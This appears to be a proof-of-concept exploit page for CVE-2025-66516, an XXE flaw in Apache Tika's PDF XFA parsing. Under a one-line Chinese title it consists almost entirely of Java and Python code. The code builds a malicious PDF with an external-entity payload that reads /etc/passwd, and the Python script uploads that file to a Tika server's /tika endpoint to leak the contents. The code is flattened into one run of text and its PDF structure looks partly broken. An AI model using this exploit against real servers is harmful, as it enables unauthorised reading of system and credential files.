CVE-2025-66516 Apache Tika XXE漏洞安全事件

import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; /** * CVE-2025-66516 PoC - XXE in Apache Tika PDF XFA Parsing * This PoC demonstrates how to create a malicious PDF with XFA XXE payload */ public class TikaXXEPoC { // XXE payload to read /etc/passwd private static final String XXE_PAYLOAD = "<!DOCTYPE pdf [" + " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">" + "]>" + "<xfa:data xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0\">" + " <document>&xxe;</document>" + "</xfa:data>"; public static byte[] createMaliciousPDF() { // Create minimal PDF structure with XFA stream containing XXE payload StringBuilder pdf = new StringBuilder(); pdf.append("%PDF-1.4\n"); pdf.append("1 0 obj<</Type/Catalog/Names<</XFA %XXE_REF%>>>>\nendobj\n"); pdf.append("%%EOF"); return pdf.toString().replace("%XXE_REF%", XXE_PAYLOAD).getBytes(); } public static void main(String[] args) throws IOException { byte[] maliciousPdf = createMaliciousPDF(); try (FileOutputStream fos = new FileOutputStream("malicious.pdf")) { fos.write(maliciousPdf); } System.out.println("Malicious PDF created: malicious.pdf"); System.out.println("XXE Payload embedded: file:///etc/passwd"); } } # Alternative Python PoC using Tika server API ''' import requests CVE-2025-66516 PoC - Apache Tika XXE via crafted PDF ''' def create_xxe_pdf(): """Create a minimal PDF with XXE payload in XFA""" xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xfa:data xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0"> <test>&xxe;</test> </xfa:data>''' # Minimal malicious PDF structure pdf_content = f"""%PDF-1.4 1 0 obj<</Type/Catalog/Pages 2 0 R/XFA<</Length {len(xxe_payload)}>>>> endobj 2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>> endobj 3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>> endobj stream {xxe_payload} endstream xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n trailer<</Size 4/Root 1 0 R>> startxref {200 + len(xxe_payload)} %%EOF""" with open('cve_2025_66516.pdf', 'w') as f: f.write(pdf_content) return 'cve_2025_66516.pdf' def exploit_tika(url, pdf_file): """Send malicious PDF to Tika server""" with open(pdf_file, 'rb') as f: files = {'file': f} headers = {'Accept': 'text/plain'} response = requests.post(f'{url}/tika', files=files, headers=headers) print(f"Response status: {response.status_code}") print(f"Response content: {response.text[:500]}") if __name__ == '__main__': pdf_file = create_xxe_pdf() print(f"Created: {pdf_file}") # Usage: exploit_tika('http://localhost:9998', pdf_file)